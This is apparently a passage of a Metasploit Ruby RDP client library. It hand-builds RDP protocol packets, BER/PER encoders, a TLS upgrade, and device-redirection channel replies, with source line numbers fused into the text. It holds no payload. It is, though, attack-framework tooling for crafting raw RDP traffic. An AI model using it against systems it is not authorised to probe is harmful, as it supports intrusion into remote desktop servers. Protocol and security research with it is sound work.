1842[uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int843[type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2844"\x00" + # compressedType: 0845"\x00\x00" + # compressedLength: 0846data847end848849# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135850# Control Cooperate - TC_CONTROL_PDU 2.2.1.15851def pdu_client_control_cooperate852pdu =853"\x04\x00" + # action: 4 - CTRLACTION_COOPERATE854"\x00\x00" + # grantId: 0855"\x00\x00\x00\x00" # controlId: 0856857# pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL858data_header = build_share_data_header(0x14, pdu)859860# type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU861build_share_control_header(0x17, data_header)862end863864# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35865# Control Request - TC_CONTROL_PDU 2.2.1.16866def pdu_client_control_request867pdu =868"\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL869"\x00\x00" + # grantId: 0870"\x00\x00\x00\x00" # controlId: 0871872# pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL873data_header = build_share_data_header(0x14, pdu)874875# type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU876build_share_control_header(0x17, data_header)877end878879# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9880# Client Font List - TS_FONT_LIST_PDU - 2.2.1.18881def pdu_client_font_list882pdu =883"\x00\x00" + # numberFonts: 0884"\x00\x00" + # totalNumberFonts: 0885"\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)886"\x32\x00" # entrySize: 50887888# pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST889data_header = build_share_data_header(0x27, pdu)890891# type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU892build_share_control_header(0x17, data_header)893end894895# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992896# Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1897def pdu_client_synchronize(target_user = 0)898pdu =899"\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC900[target_user].pack("S<") # targetUser, 16 bit, unsigned.901902# pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE903data_header = build_share_data_header(0x1f, pdu)904905# type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU906build_share_control_header(0x17, data_header)907end908909# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48910# Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1911def pdu_client_confirm_active912pdu =913"\xea\x03\x01\x00" + # shareId: 66538914"\xea\x03" + # originatorId915"\x06\x00" + # lengthSourceDescriptor: 6916"\x8e\x01" + # lengthCombinedCapabilities: 398917"\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC'918"\x0e\x00" + # numberCapabilities: 14919"\x00\x00" + # pad2Octets920"\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET921"\x18\x00" + # lengthCapability: 24922"\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x0d\x04\x00\x00\x00\x00" + #923"\x00\x00\x00\x00" + #924"\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET925"\x1c\x00" + # lengthCapability: 28926"\x10\x00\x01\x00\x01\x00\x01\x00\x20\x03\x58\x02\x00\x00\x01\x00" + #927"\x01\x00\x00\x00\x01\x00\x00\x00" + #928"\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET929"\x58\x00" + # lengthCapability: 88930"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #931"\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x47\x01\x2a\x00" + #932"\x01\x01\x01\x01\x00\x00\x00\x00\x01\x01\x01\x01\x00\x01\x01\x00" + #933"\x00\x00\x00\x00\x01\x01\x01\x00\x00\x01\x01\x01\x00\x00\x00\x00" + #934"\xa1\x06\x00\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" + #935"\xe4\x04\x00\x00\x13\x00\x28\x00\x00\x00\x00\x03\x78\x00\x00\x00" + #936"\x78\x00\x00\x00\x50\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #937"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #938"\x08\x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET939"\x0a\x00" + # lengthCapability: 10940"\x01\x00\x14\x00\x14\x00" + #941"\x0a\x00" + # capabilitySetType: 10 - TS_COLORTABLE_CAPABILITYSET942"\x08\x00" + # lengthCapability: 8943"\x06\x00\x00\x00" + #944"\x07\x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET945"\x0c\x00" + # lengthCapability: 12946"\x00\x00\x00\x00\x00\x00\x00\x00" + #947"\x05\x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET948"\x0c\x00" + # lengthCapability: 12949"\x00\x00\x00\x00\x02\x00\x02\x00" + #950"\x09\x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET951"\x08\x00" + # lengthCapability: 8952"\x00\x00\x00\x00" + #953"\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET954"\x08\x00" + # lengthCapability: 8955"\x01\x00\x00\x00" + #956"\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET957"\x58\x00" + # lengthCapability: 88958"\x01\x00\x00\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" + #959"\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #960"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #961"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #962"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #963"\x00\x00\x00\x00" + #964"\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET965"\x08\x00" + # lengthCapability: 8966"\x01\x00\x00\x00" + #967"\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET968"\x08\x00" + # lengthCapability: 8969"\x01\x00\x00\x00" + #970"\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET971"\x34\x00" + # lengthCapability: 52972"\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" + #973"\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" + #974"\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x02\x00\x00\x00"975976# type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU977build_share_control_header(0x13, pdu)978end979980# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396981# Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1982def pdu_client_input_event_sychronize983pdu =984"\x01\x00" + # numEvents: 1985"\x00\x00" + # pad2Octets986"\x00\x00\x00\x00" + # eventTime987"\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC988# TS_SYNC_EVENT 202.8.1.1.3.1.1.5989"\x00\x00" + # pad2Octets990"\x00\x00\x00\x00" # toggleFlags991992# pduType2 = 0x1c = 28 - PDUTYPE2_INPUT993data_header = build_share_data_header(0x1c, pdu)994995# type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU996build_share_control_header(0x17, data_header)997end998999#1000# Non-RDP protocol helper methods1001#10021003# Create a new SSL session on the existing socket.1004# Stolen from exploit/smtp_deliver.rb1005def swap_sock_plain_to_ssl1006ctx = OpenSSL::SSL::SSLContext.new1007ctx.min_version = OpenSSL::SSL::TLS1_VERSION1008ssl = OpenSSL::SSL::SSLSocket.new(self.rdp_sock, ctx)10091010ssl.connect10111012self.rdp_sock.extend(Rex::Socket::SslTcp)1013self.rdp_sock.sslsock = ssl1014self.rdp_sock.sslctx = ctx1015end10161017protected10181019def encode_domain_selector(1020max_chan_ids: 0,1021max_user_ids: 0,1022max_token_ids: 0,1023num_priorities: 1,1024min_throughput: 0,1025max_height: 1,1026max_mcspdu_size: 65535,1027protocol_ver: 21028)10291030body = [1031ber_int(max_chan_ids),1032ber_int(max_user_ids),1033ber_int(max_token_ids),1034ber_int(num_priorities),1035ber_int(min_throughput),1036ber_int(max_height),1037ber_int(max_mcspdu_size),1038ber_int(protocol_ver)1039].join('')10401041result = [1042"\x30",1043[body.length].pack('C'),1044body1045].join('')10461047result1048end10491050def per_object(*ds)1051body = ds.join('')10521053result = [1054"\x00",1055[body.length].pack('C'),1056body1057].join('')10581059result1060end10611062def per_data(*ds)1063data = ds.join('')1064result = ''1065if data.length < 0x40001066result = [data.length | 0x8000].pack('S>') + data1067else1068result = "\xA2" + [data.length].pack('S>') + data1069end10701071result1072end10731074def cs_cluster_data(1075flags: RDPConstants::REDIRECTION_SUPPORTED | RDPConstants::REDIRECTION_VERSION3,1076session_id: 01077)1078body = [flags, session_id].pack('<L<L')10791080result = [1081[0xc004, body.length + 4].pack('<S<S'),1082body1083].join('')10841085result1086end10871088def cs_security_data(1089encryption_methods: RDPConstants::ENCRYPTION_40BIT | RDPConstants::ENCRYPTION_128BIT,1090ext_encryption_methods: 01091)1092body = [encryption_methods, ext_encryption_methods].pack('<L<L')10931094result = [1095[0xc002, body.length + 4].pack('<S<S'),1096body1097].join('')10981099result1100end11011102def cs_network_data(channels)1103chan_data = channels.map{ |c|1104[c[0].encode('ASCII')].pack('a8*') + [c[1]].pack('L')1105}.join('')11061107body = [1108[channels.length].pack('L'),1109chan_data1110].join('')11111112result = [1113[0xc003, body.length + 4].pack('<S<S'),1114body1115].join('')11161117result1118end111911201121def cs_core_data(1122version: 0x80004,1123width: 800,1124height: 600,1125keyboard: 1033, # English1126client_build: 2600,1127client_name: "rdesktop",1128keyboard_type: 4, # IBMEhanced 101/1021129keyboard_subtype: 0,1130keyboard_func_key: 12,1131serial_num: 0,1132client_product_id: 1,1133client_dig_product_id: "",1134selected_proto: 01135)11361137client_name = Rex::Text.to_unicode(client_name[0..16], 'utf-16le')1138client_dig_product_id = Rex::Text.to_unicode(client_dig_product_id[0..32], 'utf-16le')11391140body = [1141[version, width, height].pack('<L<S<S'),1142"\x01\xca", # colour depth (8BPP)1143"\x03\xaa", # SASSequence1144[keyboard, client_build, client_name, keyboard_type].pack('<L<La32*'),1145[keyboard_type, keyboard_subtype, keyboard_func_key].pack('<L<L<L'),1146"\x00" * 64, # imeFileName1147"\x01\xca", # postBeta2ColorDepth (8BPP)1148[client_product_id, serial_num].pack('<S<L'),1149"\x18\x00", # highColorDepth: 24 bpp1150"\x07\x00", # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp )1151"\x01\x00", # earlyCapabilityFlags: 1 (RNS_UD_CS_SUPPORT_ERRINFO_PDU)1152[client_dig_product_id].pack('a64*'),1153"\x00", # connectionType: 01154"\x00", # pad1octet1155# serverSelectedProtocol - After negotiating TLS or CredSSP this value must1156# match the selectedProtocol value from the server's Negotiate Connection1157# confirm PDU that was sent before encryption was started.1158[selected_proto].pack('L<')1159].join('')11601161result = [1162[0xc001, body.length + 4].pack('<S<S'),1163body1164].join('')11651166result1167end11681169def conf_create_req(user_data_sets: 1, h221_key: "Duca")1170b2 = 01171b2 |= 0x08 if user_data_sets > 011721173b5 = 0x401174b5 |= 0x80 if user_data_sets > 011751176# TODO: add more flags here1177[1178"\x00",1179[b2].pack('C'),1180"\x00\x10\x00",1181[user_data_sets].pack('C'),1182[b5].pack('C'),1183"\x00",1184[h221_key.encode('ASCII')].pack('a*')1185].join('')1186end11871188def oid(itut, rec, t, t124, ver, desc)1189[(itut << 8) | rec, t, t124, ver, desc].pack('C*')1190end11911192def ber_octet_string(*ds)1193result = [1194"\x04",1195ber_data(ds)1196].join('')11971198result1199end12001201def ber_data(*ds)1202data = ds.join('')12031204result = [1205"\x82",1206[data.length].pack('S>'),1207data1208].join('')12091210result1211end12121213def ber_int(i)1214d = ''1215if i < (2 ** 8)1216d = [i].pack('C')1217elsif i < (2 ** 16)1218d = [i].pack('S>')1219else1220d = [i].pack('L>')1221end12221223"\x02" + [d.length].pack('C') + d1224end12251226def rdp_handle_packet(pkt)1227if pkt && pkt[0] == "\x03"1228if pkt[4..6] == "\x02\xf0\x80"1229if pkt[7] == "\x68"1230chan_user_id = pkt[8..9].unpack('S>')[0]1231chan_id = pkt[10..11].unpack('S>')[0]1232flags = pkt[18..21].unpack('<L')[0]1233data = pkt[22..pkt.length]1234rdp_on_channel_receive(pkt, chan_user_id, chan_id, flags, data)1235end1236end1237end1238end12391240def rdp_on_channel_receive(pkt, chan_user_id, chan_id, flags, data)1241ctype = data[0..1].unpack('S')[0]12421243if ctype == RDPConstants::RDPDR_CTYP_CORE1244opcode = data[2..3].unpack('S')[0]1245if opcode == RDPConstants::PAKID_CORE_SERVER_ANNOUNCE1246rdp_on_core_server_announce(pkt, chan_user_id, chan_id, flags, data)1247elsif opcode == RDPConstants::PAKID_CORE_SERVER_CAPABILITY1248rdp_on_core_server_capability(pkt, chan_user_id, chan_id, flags, data)1249elsif opcode == RDPConstants::PAKID_CORE_CLIENTID_CONFIRM1250rdp_on_core_client_id_confirm(pkt, chan_user_id, chan_id, flags, data)1251end1252end1253end12541255def rdp_on_core_server_announce(pkt, chan_user_id, chan_id, flags, data)1256vprint_status("Handling SERVER ANNOUNCE ...")1257rdpdr_client_announce_reply(pkt, chan_user_id, chan_id, flags, data)1258rdpdr_client_name_request(pkt, chan_user_id, chan_id, flags, data)1259end12601261def rdp_on_core_server_capability(pkt, chan_user_id, chan_id, flags, data)1262vprint_status("Handling SERVER CAPABILITY ...")1263# change opcode 1 byte to match server capabilities1264reply = [data[0..2], "\x43", data[4..data.length]].join('')12651266rdp_send_channel(chan_user_id, chan_id, reply)1267end12681269def rdp_on_core_client_id_confirm(pkt, chan_user_id, chan_id, flags, data)1270vprint_status("Handling CLIENT ID CONFIRM ...")1271rdpdr_client_device_list_announce_request(pkt, chan_user_id, chan_id, flags, data)1272end12731274def rdpdr_client_device_list_announce_request(pkt, chan_user_id, chan_id, flags, data)1275reply = [1276RDPConstants::RDPDR_CTYP_CORE,1277RDPConstants::PAKID_CORE_DEVICELIST_ANNOUNCE,12780x0, # Device count1279].pack('SSL')12801281rdp_send_channel(chan_user_id, chan_id, reply)1282end12831284def rdpdr_client_announce_reply(pkt, chan_user_id, chan_id, flags, data)1285reply = [1286RDPConstants::RDPDR_CTYP_CORE,1287RDPConstants::PAKID_CORE_CLIENTID_CONFIRM,12880x1, # Version Major12890xc, # Version Minor12900x2, # client ID (TODO: configure this? read it from the packet?1291].pack('SSSSL')12921293rdp_send_channel(chan_user_id, chan_id, reply)1294end12951296def rdpdr_client_name_request(pkt, chan_user_id, chan_id, flags, data)1297computer_name = Rex::Text.to_unicode("ethdev\x00", 'utf-16le')1298reply = [1299RDPConstants::RDPDR_CTYP_CORE,1300RDPConstants::PAKID_CORE_CLIENT_NAME,13010x1, # Unicode flag13020x0, # Code Page1303computer_name.length,1304computer_name,1305].pack('SSLLLa*')13061307rdp_send_channel(chan_user_id, chan_id, reply)1308end13091310attr_accessor :rdp_sock13111312attr_accessor :rdp_user_id13131314=begin1315# debug stuff1316def rdp_to_file(b, del = false)1317p = "/tmp/ruby-full.bin"1318::File.delete(p) if del && ::File.exist?(p)1319f = ::File.new(p, "ab")1320f.write(b)1321f.close1322end1323=end13241325end1326end1327132813291330